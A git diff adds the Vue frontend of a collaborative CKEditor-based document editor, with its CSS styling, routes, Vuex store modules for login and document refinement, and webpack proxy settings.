0000000..e8bf438 --- /dev/null +++ b/coeditor_frontend/src/main.js @@ -0,0 +1,15 @@ +import { createApp } from 'vue' +import './public/style.css'; +import App from './App.vue' +import store from './store' +import router from './router' +import { CkeditorPlugin } from '@ckeditor/ckeditor5-vue'; + +const app = createApp(App); + +window.store = store; + +app.use(router); +app.use(store); +app.use(CkeditorPlugin); +app.mount('#app'); \ No newline at end of file diff --git a/coeditor_frontend/src/public/favicon.ico b/coeditor_frontend/src/public/favicon.ico new file mode 100644 index 0000000..df36fcf Binary files /dev/null and b/coeditor_frontend/src/public/favicon.ico differ diff --git a/coeditor_frontend/src/public/generatedStyle.css b/coeditor_frontend/src/public/generatedStyle.css new file mode 100644 index 0000000..231b66b --- /dev/null +++ b/coeditor_frontend/src/public/generatedStyle.css @@ -0,0 +1,205 @@ +/* default */ +/* title style */ +/* 标题样式一 黑体二号粗体 */ +.ck-content .title1{ + font-family: '黑体'; + font-size: 29.3px; + font-weight: 'bold'; +} +/* heading style */ +/* 使用前必须在对应元素的父元素中将对应计数器重置 */ +.ck-content .heading1::before{ + counter-increment: heading1counter; + /* (一)(二) */ + content: "(" counter(heading1counter, cjk-ideographic) ") "; +} +.ck-content .heading2::before{ + counter-increment: heading2counter; + /* 一、 二、 */ + content: counter(heading2counter, cjk-ideographic) "、 "; +} +.ck-content .heading3::before{ + counter-increment: heading3counter; + /* 1. 2. */ + content: counter(heading3counter) ". "; +} +.ck-content .heading4::before{ + counter-increment: heading4counter; + /* 1) 2) */ + content: counter(heading4counter) ") "; +} +.ck-content .heading5::before{ + counter-increment: heading5counter; + /* 第一章 第二章 */ + content: "第" counter(heading5counter, cjk-ideographic) "章 "; +} +.ck-content .heading6::before{ + counter-increment: heading6counter; + /* 第一小节 第二小节 */ + content: "第" counter(heading6counter, cjk-ideographic) "小节 "; +} +.ck-content .heading7::before{ + counter-increment: heading7counter; + /* I. II. */ + content: counter(heading7counter, upper-roman) ". "; +} +.ck-content .heading8::before{ + counter-increment: heading8counter; + /* A. B. */ + content: counter(heading8counter,upper-alpha) ". "; +} +.ck-content .heading9::before{ + counter-increment: heading9counter; + /* a. b. */ + content: counter(heading9counter,lower-alpha) ". "; +} +.ck-content .heading10::before{ + counter-increment: heading10counter; + /* i. ii. */ + content: counter(heading10counter, lower-roman) ". "; +} +/*style插件样式*/ +.ck-content h3.category { + font-family: 'Oswald'; + font-size: 20px; + font-weight: bold; + color: #555; + letter-spacing: 10px; + margin: 0; + padding: 0; +} + +.ck-content h2.document-title { + font-family: 'Oswald'; + font-size: 50px; + font-weight: bold; + margin: 0; + padding: 0; + border: 0; +} + +.ck-content h3.document-subtitle { + font-family: 'Oswald'; + font-size: 20px; + color: #555; + margin: 0 0 1em; + font-weight: bold; + padding: 0; +} + +.ck-content p.info-box { + --background-size: 30px; + --background-color: #e91e63; + padding: 1.2em 2em; + border: 1px solid var(--background-color); + background: linear-gradient(135deg, + var(--background-color) 0%, + var(--background-color) var(--background-size), + transparent var(--background-size)), + linear-gradient(135deg, + transparent calc(100% - var(--background-size)), + var(--background-color) calc(100% - var(--background-size)), + var(--background-color)); + border-radius: 10px; + margin: 1.5em 2em; + box-shadow: 5px 5px 0 #ffe6ef; +} + +.ck-content blockquote.side-quote { + font-family: 'Oswald'; + font-style: normal; + float: right; + width: 35%; + position: relative; + border: 0; + overflow: visible; + z-index: 1; + margin-left: 1em; +} + +.ck-content blockquote.side-quote::before { + content: '“'; + position: absolute; + top: -37px; + left: -10px; + display: block; + font-size: 200px; + color: #e7e7e7; + z-index: -1; + line-height: 1; +} + +.ck-content blockquote.side-quote p { + font-size: 2em; + line-height: 1; +} + +.ck-content blockquote.side-quote p:last-child:not(:first-child) { + font-size: 1.3em; + text-align: right; + color: #555; +} + +.ck-content span.marker { + background: yellow; +} + +.ck-content span.spoiler { + background: #000; + color: #000; +} + +.ck-content span.spoiler:hover { + background: #000; + color: #fff; +} + +.ck-content pre.fancy-code { + border: 0; + margin-left: 2em; + margin-right: 2em; + border-radius: 10px; +} + +.ck-content pre.fancy-code::before { + content: ''; + display: block; + height: 13px; + background: url(data:image/svg+xml;base64,PHN2ZyBmaWxsPSJub25lIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA1NCAxMyI+CiAgPGNpcmNsZSBjeD0iNi41IiBjeT0iNi41IiByPSI2LjUiIGZpbGw9IiNGMzZCNUMiLz4KICA8Y2lyY2xlIGN4PSIyNi41IiBjeT0iNi41IiByPSI2LjUiIGZpbGw9IiNGOUJFNEQiLz4KICA8Y2lyY2xlIGN4PSI0Ny41IiBjeT0iNi41IiByPSI2LjUiIGZpbGw9IiM1NkM0NTMiLz4KPC9zdmc+Cg==); + margin-bottom: 8px; + background-repeat: no-repeat; +} + +.ck-content pre.fancy-code-dark { + background: #272822; + color: #fff; + box-shadow: 5px 5px 0 #0000001f; +} + +.ck-content pre.fancy-code-bright { + background: #dddfe0; + color: #000; + box-shadow: 5px 5px 0 #b3b3b3; +} +/* list style */ +.ck-content ul.disc { + list-style-type: disc; +} +.ck-content ul.circle { + list-style-type: circle; +} +.ck-content ul.square { + list-style-type: square; +} +/* body style */ +.ck-content p.normal-text { + font-family: '宋体'; + font-size: 16px; + line-height: 1.6; + word-break: break-word; + white-space: pre-wrap; + overflow-wrap: break-word; + text-indent: 2em; + margin: 0; + padding: 0; +} \ No newline at end of file diff --git a/coeditor_frontend/src/public/index.html b/coeditor_frontend/src/public/index.html new file mode 100644 index 0000000..3e5a139 --- /dev/null +++ b/coeditor_frontend/src/public/index.html @@ -0,0 +1,17 @@ + + + + + + + + <%= htmlWebpackPlugin.options.title %> + + + +
+ + + diff --git a/coeditor_frontend/src/public/sidebar.css b/coeditor_frontend/src/public/sidebar.css new file mode 100644 index 0000000..f1e2135 --- /dev/null +++ b/coeditor_frontend/src/public/sidebar.css @@ -0,0 +1,139 @@ +/*侧边栏样式*/ +.sidebar { + position: fixed; + top: 0; + left: 0; + width: 450px; + height: 100%; + overflow-y: hidden; + transition: transform 0.3s ease; + transform: translateX(-100%); + background-color: #f9f9f9; + padding-left: 8px; + /* 调整内边距,使文字右移 */ + padding-right: 8px; + /* 调整内边距,使文字右移 */ + z-index: 9; + border-right: 5px solid #aec7e5; + resize: horizontal; + overflow: auto; +} + +.sidebar.active { + transform: translateX(0); +} + +.sidebar-menu { + flex-direction: row; + justify-content: space-between; + /* background-color: rgb(182, 229, 244); */ + border-radius: 19px; + /* 添加圆角 */ + display: flex; +} + +.sidebar-menu .el-sub-menu { + display: flex; + flex-direction: column; +} + +.sidebar-menu .el-menu-item { + flex: 1; + text-align: left; + background-color: #9cd6ce; + border-radius: 8px; + /* 添加圆角 */ + margin: 2px 0; + /* 添加间距 */ +} + +.sidebar-menu .el-menu-item span { + display: block; + padding: 10px; + background-color: #ffffff; + border-radius: 4px; +} + +.sidebar-menu .el-menu-item span:hover { + background-color: #e0e0e0; +} + +.preview { + margin-top: 20px; + /* 调整预览区与表单之间的距离 */ + border: 1px solid #ccc; + /* 添加边框 */ + padding: 10px; + /* 添加内边距 */ + border-radius: 4px; + /* 添加圆角 */ +} + +.form-item { + margin-bottom: 1px; + /* 减小表单项之间的距离 */ +} + +.chat-container { + display: flex; + flex-direction: column; + height: 90vh; + justify-content: space-between; +} + +.messages { + flex: 1; + overflow-y: auto; + margin-bottom: 10px; +} + +.message pre { + white-space: pre-wrap; + /* 保留空白符,但允许自动换行 */ + word-wrap: break-word; + /* 允许长单词换行 */ +} + +.input-area { + display: flex; +} + +.input-area input { + flex: 1; + padding: 10px; + border: 1px solid #ccc; + border-radius: 4px; +} + +.input-area button { + padding: 10px 15px; + background-color: #2980b9; + color: white; + border: none; + border-radius: 4px; + cursor: pointer; + margin-left: 5px; +} + +.input-area button:hover { + background-color: #3498db; +} + +.message { + margin: 5px 0; + padding: 10px; + border-radius: 4px; + background-color: #ecf0f1; +} +.message-answer { + margin: 5px 0; + padding: 10px; + border-radius: 4px; + background-color: rgb(189, 195, 199); +} +.message-answer pre { + white-space: pre-wrap; + /* 保留空白符,但允许自动换行 */ + word-wrap: break-word; + /* 允许长单词换行 */ +} \ No newline at end of file diff --git a/coeditor_frontend/src/public/style.css b/coeditor_frontend/src/public/style.css new file mode 100644 index 0000000..f0ec932 --- /dev/null +++ b/coeditor_frontend/src/public/style.css @@ -0,0 +1,94 @@ +@import url('https://fonts.googleapis.com/css2?family=Oswald&family=PT+Serif:ital,wght@0,400;0,700;1,400&display=swap'); +@import url('https://fonts.googleapis.com/css2?family=Lato:ital,wght@0,400;0,700;1,400;1,700&display=swap'); + +@media print { + body { + margin: 0 !important; + } +} + +.main-container { + --ckeditor5-preview-height: 650px; + position: relative; + font-family: '宋体'; + width: fit-content; + height: 100%; + margin-left: auto; + margin-right: auto; +} + +.ck-content { + font-family: '宋体'; + font-size: 16px; + line-height: 1.6; + word-break: break-word; +} + +.editor-container__editor-wrapper { + display: flex; + width: fit-content; +} + +.editor-container_document-editor { + border: 1px solid var(--ck-color-base-border); +} + +.editor-container_document-editor .editor-container__toolbar { + display: flex; + position: relative; + box-shadow: 0 2px 3px hsla(0, 0%, 0%, 0.078); +} + +.editor-container_document-editor .editor-container__toolbar>.ck.ck-toolbar { + flex-grow: 1; + width: 0; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; + border-top: 0; + border-left: 0; + border-right: 0; +} + +.editor-container_document-editor .editor-container__menu-bar>.ck.ck-menu-bar { + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; + border-top: 0; + border-left: 0; + border-right: 0; +} + +.editor-container_document-editor .editor-container__editor-wrapper { + max-height: var(--ckeditor5-preview-height); + min-height: var(--ckeditor5-preview-height); + overflow-y: scroll; + background: var(--ck-color-base-foreground); +} + +.editor-container_document-editor .editor-container__editor { + margin-top: 28px; + margin-bottom: 28px; + height: 100%; +} + +.editor-container_document-editor .editor-container__editor .ck.ck-editor__editable { + box-sizing: border-box; + min-width: calc(210mm + 2px); + max-width: calc(210mm + 2px); + min-height: 297mm; + height: fit-content; + padding: 20mm 12mm; + border: 1px hsl(0, 0%, 82.7%) solid; + background: hsl(0, 0%, 100%); + box-shadow: 0 2px 3px hsla(0, 0%, 0%, 0.078); + flex: 1 1 auto; + margin-left: 72px; + margin-right: 72px; +} + +/*侧边栏出现时其他右移*/ +.main-container.sidebar-open .editor-container__menu-bar, +.main-container.sidebar-open .editor-container__toolbar, +.main-container.sidebar-open .editor-container__editor-wrapper { + transition: margin-left 0.3s ease; + margin-left: 350px; +} \ No newline at end of file diff --git a/coeditor_frontend/src/router/index.js b/coeditor_frontend/src/router/index.js new file mode 100644 index 0000000..ca52dc4 --- /dev/null +++ b/coeditor_frontend/src/router/index.js @@ -0,0 +1,57 @@ +import { createRouter, createWebHistory } from 'vue-router' +import HomeView from '../views/HomeView.vue' +import LoginView from '../views/LoginView' +import RegisterView from '../views/RegisterView' +import NotFoundView from '../views/NotFoundView' +import UserProfileView from '../views/UserProfileView' +import CkeditorView from '../views/CkeditorView' + +const routes = [ + { + path: '/', + name: 'home', + component: HomeView, + }, + { + path: '/login/', + name: 'login', + component: LoginView, + }, + { + path: '/register/', + name: 'register', + component: RegisterView, + }, + { + path: '/userprofile/', + name:'userprofile', + component:UserProfileView, + }, + { + path: '/404/', + name: '404', + component: NotFoundView + }, + { + path: '/ckeditor/', + name: 'ckeditor', + component: CkeditorView, + }, + { + path: '/:catchAll(.*)', + redirect: '/404/', + }, + { + path: '/web_api/', + target:'http://localhost:14514/', + changeOrigin:true, //修改源 + rewrite:{'^/web_api/':''} + } +] + +const router = createRouter({ + history: createWebHistory(), + routes +}) + +export default router diff --git a/coeditor_frontend/src/store/index.js b/coeditor_frontend/src/store/index.js new file mode 100644 index 0000000..cd0c08e --- /dev/null +++ b/coeditor_frontend/src/store/index.js @@ -0,0 +1,18 @@ +import { createStore } from 'vuex' +import ModulerUser from './user'; +import ModulerRefineDoc from './refine_doc'; + +export default createStore({ + state: { + }, + getters: { + }, + mutations: { + }, + actions: { + }, + modules: { + user: ModulerUser, + refine_doc: ModulerRefineDoc + } +}) diff --git a/coeditor_frontend/src/store/refine_doc.js b/coeditor_frontend/src/store/refine_doc.js new file mode 100644 index 0000000..e84d31c --- /dev/null +++ b/coeditor_frontend/src/store/refine_doc.js @@ -0,0 +1,54 @@ + +const ModulerRefineDoc = { + state: { + current_tag: '', + contents: new Map() + }, + mutations: { + setCurrentTag(state, newTag) { + console.log("storetag", newTag); + state.current_tag = newTag; + }, + // 增加tag下的value数组里的内容的mutation方法 + addContentToTag(state, {tag, newContent}) { + console.log("tag, newContent", {tag, newContent}); + if (!state.contents.has(tag)) { + state.contents.set(tag, []); + } + state.contents.get(tag).push(newContent); + return state.contents.get(tag) - 1; + }, + // 修改tag下的value数组里的内容的mutation方法 + changeContentForTag(state, {tag, index, newContent}) { + if (!state.contents.has(tag)) { + state.contents.set(tag, []); + } + var tagContents = state.contents.get(tag); + console.log("oldtagc", tagContents, tagContents[index]); + if (tagContents[index]){ + state.contents.get(tag).splice(index,1,newContent); + } + }, + // 清空tag下的数组内容的mutation方法 + clearContentsForTag(state, tag) { + if (state.contents.has(tag)) { + state.contents.set(tag, []); + } + } + }, + getters: { + getCurrentTag(state) { + return state.current_tag; + }, + getCurrentContent(state) { + return state.contents.get(state.current_tag); + }, + getCurrentindex(state) { + return state.contents.get(state.current_tag).length - 1; + } + }, + modules: { + } +} + +export default ModulerRefineDoc; \ No newline at end of file diff --git a/coeditor_frontend/src/store/user.js b/coeditor_frontend/src/store/user.js new file mode 100644 index 0000000..e0f8e60 --- /dev/null +++ b/coeditor_frontend/src/store/user.js @@ -0,0 +1,81 @@ +// import $ from 'jquery'; +import axios from 'axios'; + +const ModulerUser = { + state: { + username:'', + access: "", + refresh: "", + is_login: false, + path:[], + filecontent:'', + }, + getters: { + }, + mutations: { + updateUser(state,user){ + state.username = user.username, + state.access = user.access, + state.refresh = user.refresh, + state.is_login = user.is_login; + }, + logout(state){ + state.username = '', + state.access = "", + state.refresh = "", + state.is_login = false, + state.path = [] + }, + forwardPath(state,item){ + state.path.push(item); + }, + backPath(state){ + state.path.pop(); + }, + updateFileContent(state,content){ + state.filecontent = content; + }, + }, + actions: { + login(context,data){ + axios({ + url:'http://1.94.171.222:8000/token/', + method:'POST', + data:{ + username:data.username, + password:data.password, + }, + }) + .then(resp => { + const {access,refresh} = resp.data; + axios({ + url:'http://1.94.171.222:8000/getinfo/', + method:'GET', + headers:{ + 'Authorization': "Bearer " + access, + }, + }) + .then(resp => { + context.commit('updateUser',{ + username:resp.data.username, + access:access, + refresh:refresh, + is_login: true, + }); + context.commit('forwardPath',resp.data.username + '/' + ); + data.success(); + } + ); + }) + .catch(() => { + data.error(); + } + ); + } + }, + modules: { + } +} + +export default ModulerUser; \ No newline at end of file diff --git a/coeditor_frontend/src/views/CkeditorView.vue b/coeditor_frontend/src/views/CkeditorView.vue new file mode 100644 index 0000000..bc2723c --- /dev/null +++ b/coeditor_frontend/src/views/CkeditorView.vue @@ -0,0 +1,687 @@ + + diff --git a/coeditor_frontend/src/views/HomeView.vue b/coeditor_frontend/src/views/HomeView.vue new file mode 100644 index 0000000..91662ee --- /dev/null +++ b/coeditor_frontend/src/views/HomeView.vue @@ -0,0 +1,221 @@ + + + + + + + + diff --git a/coeditor_frontend/src/views/LoginView.vue b/coeditor_frontend/src/views/LoginView.vue new file mode 100644 index 0000000..be23711 --- /dev/null +++ b/coeditor_frontend/src/views/LoginView.vue @@ -0,0 +1,72 @@ + + + + + + diff --git a/coeditor_frontend/src/views/NotFoundView.vue b/coeditor_frontend/src/views/NotFoundView.vue new file mode 100644 index 0000000..0345dc9 --- /dev/null +++ b/coeditor_frontend/src/views/NotFoundView.vue @@ -0,0 +1,19 @@ + + + + + diff --git a/coeditor_frontend/src/views/RegisterView.vue b/coeditor_frontend/src/views/RegisterView.vue new file mode 100644 index 0000000..ab5e67a --- /dev/null +++ b/coeditor_frontend/src/views/RegisterView.vue @@ -0,0 +1,96 @@ + + + + + + diff --git a/coeditor_frontend/src/views/UserProfileView.vue b/coeditor_frontend/src/views/UserProfileView.vue new file mode 100644 index 0000000..c7e6b4f --- /dev/null +++ b/coeditor_frontend/src/views/UserProfileView.vue @@ -0,0 +1,33 @@ + + + + + + diff --git a/coeditor_frontend/vue.config.js b/coeditor_frontend/vue.config.js new file mode 100644 index 0000000..2e7b095 --- /dev/null +++ b/coeditor_frontend/vue.config.js @@ -0,0 +1,31 @@ +const { defineConfig } = require('@vue/cli-service') + +const AutoImport = require('unplugin-auto-import/webpack') +const Components = require('unplugin-vue-components/webpack') +const { ElementPlusResolver } = require('unplugin-vue-components/resolvers') + +module.exports = defineConfig({ + transpileDependencies: true, + configureWebpack: { + plugins: [ + AutoImport({ + resolvers: [ElementPlusResolver()] + }), + Components({ + resolvers: [ElementPlusResolver()] + }), + ], + devServer:{ + proxy:{ + '/web_api':{ + target:'http://localhost:14514/', + changeOrigin:true, //修改源 + pathRewrite: { + '^/web_api': '' + } + } + } + } + } + +})